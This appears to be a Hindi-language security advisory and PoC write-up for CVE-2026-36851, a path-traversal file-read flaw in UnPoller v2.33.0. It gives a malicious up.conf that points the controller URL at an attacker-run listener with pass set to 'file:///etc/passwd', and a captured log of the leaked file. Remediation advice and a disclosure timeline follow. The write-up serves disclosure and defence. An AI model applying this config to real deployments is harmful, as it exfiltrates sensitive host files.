
UnPoller 2.33.0 के लिए फ़ाइल पथ ट्रैवर्सल भेद्यता (CVE-2026-36851) का वॉकथ्रू और PoC
UnPoller v2.33.0 में file:// पासवर्ड उपसर्ग के माध्यम से पाथ ट्रैवर्सल / मनमाना फ़ाइल पठन। प्रमाणीकरण के दौरान फ़ाइल सामग्री डिस्क से पढ़ी जाती है और कॉन्फ़िगर किए गए UniFi कंट्रोलर URL पर प्रसारित की जाती है।
| CVE | CVE-2026-36851 |
| उत्पाद | UnPoller v2.33.0 (पुराने संस्करण भी प्रभावित हो सकते हैं) |
| कमज़ोरी | CWE-22 (पाथ ट्रैवर्सल), CWE-20 (अनुचित इनपुट सत्यापन) |
| CVSS 3.1 | 7.5 उच्च — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| रिपोर्टकर्ता | Hector Diaz |
UnPoller क्रेडेंशियल को फ़ाइल से लोड करने का समर्थन करता है जब कॉन्फ़िग मान file:// से शुरू होता है। यह व्यवहार Docker परिनियोजन के लिए प्रलेखित है जहाँ ऑपरेटर पासवर्ड को प्लेन-टेक्स्ट कॉन्फ़िग फ़ाइलों के बाहर रखना चाहते हैं। कार्यान्वयन यह प्रतिबंधित नहीं करता कि कौन सा पथ पढ़ा जा सकता है — प्रक्रिया जिस भी फ़ाइल तक पहुँच सकती है वह मान्य इनपुट है। उन सामग्रियों को फिर उसी कॉन्फ़िगरेशन फ़ाइल में url पर सेट किए गए कंट्रोलर पर /api/login के लिए JSON POST में नेटवर्क पर भेजा जाता है।
यह संयोजन स्थानीय फ़ाइल-पठन प्रिमिटिव को नेटवर्क बहिर्गमन चैनल में बदल देता है: up.conf पर लेखन पहुँच रखने वाला हमलावर url को अपने नियंत्रण वाले सर्वर पर इंगित कर सकता है और उन फ़ाइलों पर सीधे पढ़ने की अनुमति के बिना संवेदनशील फ़ाइलों को बार-बार लीक कर सकता है।
मैं अपने होमलैब में UnPoller चलाता हूँ — Proxmox LXC पर Docker — अपने बाकी स्टैक के साथ Grafana में UniFi मेट्रिक्स निर्यात करने के लिए। मैं सामान्य वेब कमज़ोरियों के लिए ओपन-सोर्स प्रोजेक्ट्स की समीक्षा कर रहा था। UnPoller के पास न्यूनतम उपयोगकर्ता-सामना वाली वेब सतह है, इसलिए XSS एक मृत अंत था। उदाहरण कॉन्फ़िगरेशन वहीं है जहाँ खोज शुरू हुई:
pass = "file:///path/to/password.file"
आशय उचित है: पासवर्ड को up.conf में एम्बेड करने के बजाय एक सीक्रेट्स फ़ाइल को संदर्भित करना। मेरा प्रश्न यह था कि क्या UnPoller उस पथ को मान्य करता है — या किसी भी file:// मान को शाब्दिक फ़ाइलसिस्टम पॉइंटर के रूप में मानता है।
pkg/inputunifi/input.go (और influxunifi, lokiunifi में समान हैंडलिंग) में स्रोत का पता लगाने से पता चलता है कि कोई व्हाइटलिस्ट नहीं है। जब pass या api_key file:// से शुरू होता है, तो उपसर्ग हटा दिया जाता है और os.ReadFile() पूरी फ़ाइल सामग्री को UniFi प्रमाणीकरण के लिए उपयोग किए जाने वाले क्रेडेंशियल फ़ील्ड में लोड करता है।
गोपनीयता: UnPoller होस्ट पर मनमानी पठनीय फ़ाइलें बहिर्गमित की जा सकती हैं — जैसे /etc/passwd, /proc/version, /etc/hosts, एप्लिकेशन कॉन्फ़िग, और प्रक्रिया अनुमतियों के आधार पर संभावित रूप से कुंजी सामग्री।
हमले की पूर्वापेक्षाएँ: UnPoller कॉन्फ़िगरेशन (सामान्यतः up.conf) पर लेखन पहुँच। कॉन्फ़िग संशोधित होने के बाद पठन ट्रिगर करने के लिए कोई UniFi क्रेडेंशियल आवश्यक नहीं हैं।
यह स्थानीय व्यवस्थापक पहुँच से परे क्यों मायने रखता है: साझा होस्टिंग, गलत कॉन्फ़िगर किए गए Kubernetes, या समझौता किए गए साइडकार परिदृश्यों में, निम्न-विशेषाधिकार वाला अभिकर्ता सेवा कॉन्फ़िग को संशोधित करने में सक्षम हो सकता है बिना संवेदनशील फ़ाइलों को सीधे पढ़ने में सक्षम हुए। यह व्यवहार UnPoller को फ़ाइल पढ़ने और उसे बाहर की ओर प्रसारित करने द्वारा उस अंतर को पाटता है।
दायरे से बाहर: रिमोट कोड निष्पादन, अखंडता, या उपलब्धता — यह एक स्पष्ट बहिर्गमन पथ के साथ सूचना प्रकटीकरण समस्या है।
Docker Compose के साथ Debian-आधारित Proxmox LXC पर ghcr.io/unpoller/unpoller:latest (v2.33.0) के विरुद्ध परीक्षण किया गया।
पर्यावरण चर के माध्यम से UP_UNIFI_DEFAULT_PASS="file:///etc/passwd" सेट करने से मेरे परिनियोजन में यह व्यवहार ट्रिगर नहीं हुआ। माउंट की गई कॉन्फ़िग फ़ाइल प्रभावी सत्य का स्रोत थी।
मैंने UnPoller को अपने प्रोडक्शन UniFi कंट्रोलर के बजाय अपने नियंत्रण वाले कैप्चर सर्वर की ओर इंगित करने के लिए up.conf संपादित किया:
[unifi.defaults]
url = "https://x.x.x.x:8443"
user = "admin"
pass = "file:///etc/passwd"
docker restart unpoller के बाद, कंटेनर ने हर ~30 सेकंड में पोर्ट 8443 पर मेरे लिसनर से जुड़ना शुरू कर दिया।
मेरे पहले कैप्चर सर्वर ने HTTP हेडर लॉग किए और Authorization: Basic ... क्रेडेंशियल देखे। UnPoller ने बिना Authorization हेडर के POST /api/login अनुरोध भेजे — UniFi का API बॉडी में JSON की अपेक्षा करता है:
{"username": "admin", "password": "..."}
मैंने लिसनर को Content-Length पढ़ने, POST बॉडी को पार्स करने और JSON लॉग करने के लिए अपडेट किया। एक मिनट के भीतर, /etc/passwd पासवर्ड फ़ील्ड में दिखाई दिया:

लॉग अंश:
🎯 POST BODY: b'{"username":"admin","password":"root:x:0:0:root:/root:/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin
nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin"}'
वही कॉन्फ़िगरेशन पैटर्न /proc/version (कर्नेल/बिल्ड फ़िंगरप्रिंटिंग) के लिए काम किया:

उदाहरण दुर्भावनापूर्ण कॉन्फ़िग: poc/up.conf.example
| दिनांक | घटना |
|---|---|
| 2026-02-28 | होमलैब में खोजा और पुष्टि की गई |
| 2026-03-01 | विक्रेता को सूचित किया गया (Discord) |
UnPoller अनुरक्षक ने file:// व्यवहार को Docker उपयोगकर्ताओं के लिए एक जानबूझकर सुविधा के रूप में स्वीकार किया और कॉन्फ़िग संपादक और प्रक्रिया उपयोगकर्ता के बीच विशेषाधिकार पृथक्करण के बिना शोषण क्षमता पर प्रश्न उठाया। MITRE ने फिर भी एक CVE पहचानकर्ता आवंटित किया।
ऑपरेटरों के लिए
up.conf और कॉन्फ़िग माउंट को संवेदनशील मानें; लेखन पहुँच प्रतिबंधित करें।file:// पथों के बजाय Docker secrets, Kubernetes secrets, या पर्यावरण-आधारित क्रेडेंशियल इंजेक्शन को प्राथमिकता दें।डेवलपर्स के लिए
file:// हैंडलिंग हटाएं, या एक सख्त पथ व्हाइटलिस्ट लागू करें (जैसे केवल /etc/unpoller/secrets/ के अंतर्गत)।MIT — LICENSE देखें। इस रिपॉजिटरी में प्रूफ़-ऑफ़-कॉन्सेप्ट सामग्री केवल अधिकृत सुरक्षा अनुसंधान और शिक्षा के लिए प्रदान की गई है। उन प्रणालियों के विरुद्ध उपयोग न करें जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास नहीं है।
Hector Diaz · LinkedIn · hectordiaz.net
| 2026-03-02 |
| MITRE CVE अनुरोध प्रस्तुत किया गया |
| 2026-06-05 | CVE-2026-36851 आवंटित |
| 2026-07-03 | सार्वजनिक विवरण प्रकाशित |